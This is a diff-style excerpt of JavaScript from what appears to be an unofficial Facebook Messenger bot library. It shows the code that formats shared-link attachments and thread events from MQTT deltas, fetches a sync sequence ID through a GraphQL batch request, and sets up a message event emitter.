fetchData.extensible_attachment.story_attachment
|
823
|
+
.media || {}
|
824
|
+
).image || {}
|
825
|
+
).height,
|
826
|
+
playable:
|
827
|
+
(
|
828
|
+
fetchData.extensible_attachment.story_attachment
|
829
|
+
.media || {}
|
830
|
+
).is_playable || false,
|
831
|
+
duration:
|
832
|
+
(
|
833
|
+
fetchData.extensible_attachment.story_attachment
|
834
|
+
.media || {}
|
835
|
+
).playable_duration_in_ms || 0,
|
836
|
+
|
837
|
+
subattachments:
|
838
|
+
fetchData.extensible_attachment.subattachments,
|
839
|
+
properties:
|
840
|
+
fetchData.extensible_attachment.story_attachment
|
841
|
+
.properties,
|
842
|
+
},
|
843
|
+
],
|
844
|
+
mentions: {},
|
845
|
+
timestamp: parseInt(fetchData.timestamp_precise),
|
846
|
+
isGroup: fetchData.message_sender.id != tid.toString(),
|
847
|
+
});
|
848
|
+
globalCallback(null, {
|
849
|
+
type: "message",
|
850
|
+
senderID: utils.formatID(fetchData.message_sender.id),
|
851
|
+
body: fetchData.message.text || "",
|
852
|
+
threadID: utils.formatID(tid.toString()),
|
853
|
+
messageID: fetchData.message_id,
|
854
|
+
attachments: [
|
855
|
+
{
|
856
|
+
type: "share",
|
857
|
+
ID: fetchData.extensible_attachment
|
858
|
+
.legacy_attachment_id,
|
859
|
+
url: fetchData.extensible_attachment.story_attachment
|
860
|
+
.url,
|
861
|
+
|
862
|
+
title:
|
863
|
+
fetchData.extensible_attachment.story_attachment
|
864
|
+
.title_with_entities.text,
|
865
|
+
description:
|
866
|
+
fetchData.extensible_attachment.story_attachment
|
867
|
+
.description.text,
|
868
|
+
source:
|
869
|
+
fetchData.extensible_attachment.story_attachment
|
870
|
+
.source,
|
871
|
+
|
872
|
+
image: (
|
873
|
+
(
|
874
|
+
fetchData.extensible_attachment.story_attachment
|
875
|
+
.media || {}
|
876
|
+
).image || {}
|
877
|
+
).uri,
|
878
|
+
width: (
|
879
|
+
(
|
880
|
+
fetchData.extensible_attachment.story_attachment
|
881
|
+
.media || {}
|
882
|
+
).image || {}
|
883
|
+
).width,
|
884
|
+
height: (
|
885
|
+
(
|
886
|
+
fetchData.extensible_attachment.story_attachment
|
887
|
+
.media || {}
|
888
|
+
).image || {}
|
889
|
+
).height,
|
890
|
+
playable:
|
891
|
+
(
|
892
|
+
fetchData.extensible_attachment.story_attachment
|
893
|
+
.media || {}
|
894
|
+
).is_playable || false,
|
895
|
+
duration:
|
896
|
+
(
|
897
|
+
fetchData.extensible_attachment.story_attachment
|
898
|
+
.media || {}
|
899
|
+
).playable_duration_in_ms || 0,
|
900
|
+
|
901
|
+
subattachments:
|
902
|
+
fetchData.extensible_attachment.subattachments,
|
903
|
+
properties:
|
904
|
+
fetchData.extensible_attachment.story_attachment
|
905
|
+
.properties,
|
906
|
+
},
|
907
|
+
],
|
908
|
+
mentions: {},
|
909
|
+
timestamp: parseInt(fetchData.timestamp_precise),
|
910
|
+
isGroup: fetchData.message_sender.id != tid.toString(),
|
911
|
+
});
|
912
|
+
}
|
913
|
+
} else log.error("forcedFetch", fetchData);
|
914
|
+
})
|
915
|
+
.catch((err) => log.error("forcedFetch", err));
|
916
|
+
}
|
917
|
+
break;
|
918
|
+
case "ThreadName":
|
919
|
+
case "ParticipantsAddedToGroupThread":
|
920
|
+
case "ParticipantLeftGroupThread":
|
921
|
+
var formattedEvent;
|
922
|
+
try {
|
923
|
+
formattedEvent = utils.formatDeltaEvent(v.delta);
|
924
|
+
} catch (err) {
|
925
|
+
return log.error("Lỗi Nhẹ", err);
|
926
|
+
}
|
927
|
+
return (!ctx.globalOptions.selfListen &&
|
928
|
+
formattedEvent.author.toString() === ctx.userID) ||
|
929
|
+
!ctx.loggedIn
|
930
|
+
? undefined
|
931
|
+
: (function () {
|
932
|
+
globalCallback(null, formattedEvent);
|
933
|
+
})();
|
934
|
+
}
|
935
|
+
}
|
936
|
+
|
937
|
+
function markDelivery(ctx, api, threadID, messageID) {
|
938
|
+
if (threadID && messageID) {
|
939
|
+
api.markAsDelivered(threadID, messageID, (err) => {
|
940
|
+
if (err) log.error("markAsDelivered", err);
|
941
|
+
else {
|
942
|
+
if (ctx.globalOptions.autoMarkRead) {
|
943
|
+
api.markAsRead(threadID, (err) => {
|
944
|
+
if (err) log.error("markAsDelivered", err);
|
945
|
+
});
|
946
|
+
}
|
947
|
+
}
|
948
|
+
});
|
949
|
+
}
|
950
|
+
}
|
951
|
+
|
952
|
+
module.exports = function (defaultFuncs, api, ctx) {
|
953
|
+
var globalCallback = identity;
|
954
|
+
getSeqID = function getSeqID() {
|
955
|
+
ctx.t_mqttCalled = false;
|
956
|
+
defaultFuncs
|
957
|
+
.post("https://www.facebook.com/api/graphqlbatch/", ctx.jar, form)
|
958
|
+
.then(utils.parseAndCheckLogin(ctx, defaultFuncs))
|
959
|
+
.then((resData) => {
|
960
|
+
if (utils.getType(resData) != "Array") {
|
961
|
+
switch (globalThis.Fca.Require.FastConfig.AutoLogin) {
|
962
|
+
case true: {
|
963
|
+
globalThis.Fca.Require.logger.Warning(
|
964
|
+
globalThis.Fca.Require.Language.Index.AutoLogin,
|
965
|
+
function () {
|
966
|
+
return globalThis.Fca.AutoLogin();
|
967
|
+
},
|
968
|
+
);
|
969
|
+
break;
|
970
|
+
}
|
971
|
+
case false: {
|
972
|
+
throw {
|
973
|
+
error: globalThis.Fca.Require.Language.Index.ErrAppState,
|
974
|
+
};
|
975
|
+
}
|
976
|
+
}
|
977
|
+
}
|
978
|
+
if (resData && resData[resData.length - 1].error_results > 0)
|
979
|
+
throw resData[0].o0.errors;
|
980
|
+
if (resData[resData.length - 1].successful_results === 0)
|
981
|
+
throw {
|
982
|
+
error: "getSeqId: there was no successful_results",
|
983
|
+
res: resData,
|
984
|
+
};
|
985
|
+
if (resData[0].o0.data.viewer.message_threads.sync_sequence_id) {
|
986
|
+
ctx.lastSeqId =
|
987
|
+
resData[0].o0.data.viewer.message_threads.sync_sequence_id;
|
988
|
+
listenMqtt(defaultFuncs, api, ctx, globalCallback);
|
989
|
+
} else
|
990
|
+
throw { error: "getSeqId: no sync_sequence_id found.", res: resData };
|
991
|
+
})
|
992
|
+
.catch((err) => {
|
993
|
+
log.error("getSeqId", err);
|
994
|
+
if (
|
995
|
+
utils.getType(err) == "Object" &&
|
996
|
+
err.error === globalThis.Fca.Require.Language.Index.ErrAppState
|
997
|
+
)
|
998
|
+
ctx.loggedIn = false;
|
999
|
+
return globalCallback(err);
|
1000
|
+
});
|
1001
|
+
};
|
1002
|
+
|
1003
|
+
return function (callback) {
|
1004
|
+
class MessageEmitter extends EventEmitter {
|
1005
|
+
stopListening(callback) {
|
1006
|
+
callback = callback || (() => {});
|
1007
|
+
globalCallback = identity;
|
1008
|
+
if (ctx.mqttClient) {
|
1009
|
+
ctx.mqttClient.unsubscribe("/webrtc");
|
1010
|
+
ctx.mqttClient.unsubscribe("/rtc_multi");
|
1011
|
+
ctx.mqttClient.unsubscribe("/onevc");
|
1012
|
+
ctx.mqttClient.publish("/browser_close", "{}");
|
1013
|
+
ctx.mqttClient.end(false, function (...data) {
|
1014
|
+
callback(data);
|
1015
|
+
ctx.mqttClient = undefined;
|
1016
|
+
});
|
1017
|
+
}
|
1018
|
+
}
|
1019
|
+
}
|
1020
|
+
|
1021
|
+
var msgEmitter = new MessageEmitter();
|
1022
|
+
globalCallback =
|
1023
|
+
callback ||
|
1024
|
+
function (error, message) {
|
1025
|
+
if (error) return msgEmitter.emit("error", error);
|
1026
|
+
msgEmitter.emit("message", message);
|
1027
|
+
};
|
1028
|
+
|
1029
|
+
//Reset some stuff
|
1030
|
+
if (!ctx.firstListen) ctx.lastSeqId = null;
|
1031
|
+
ctx.syncToken = undefined;
|
1032
|
+
ctx.t_mqttCalled = false;
|
1033
|
+
|
1034
|
+
//Same request as getThreadList
|
1035
|
+
form = {
|
1036
|
+
av: ctx.globalOptions.pageID,
|
1037
|
+
queries: JSON.stringify({
|
1038
|
+
o0: {
|
1039
|
+
doc_id: "3336396659757871",
|
1040
|
+
query_params: {
|
1041
|
+
limit: 1,
|
1042
|
+
before: null,
|
1043
|
+
tags: ["INBOX"],
|
1044
|
+
includeDeliveryReceipts: false,
|
1045
|
+
includeSeqID: true,
|
1046
|
+
},
|
1047
|
+
},
|
1048
|
+
}),
|
1049
|
+
};
|
1050
|
+
|
1051
|
+
if (!ctx.firstListen || !ctx.lastSeqId) getSeqID();
|
1052
|
+
else listenMqtt(defaultFuncs, api, ctx, globalCallback);
|
1053
|
+
ctx.firstListen = false;
|
1054
|
+
return msgEmitter;
|
1055
|
+
};
|
1056
|
+
};
|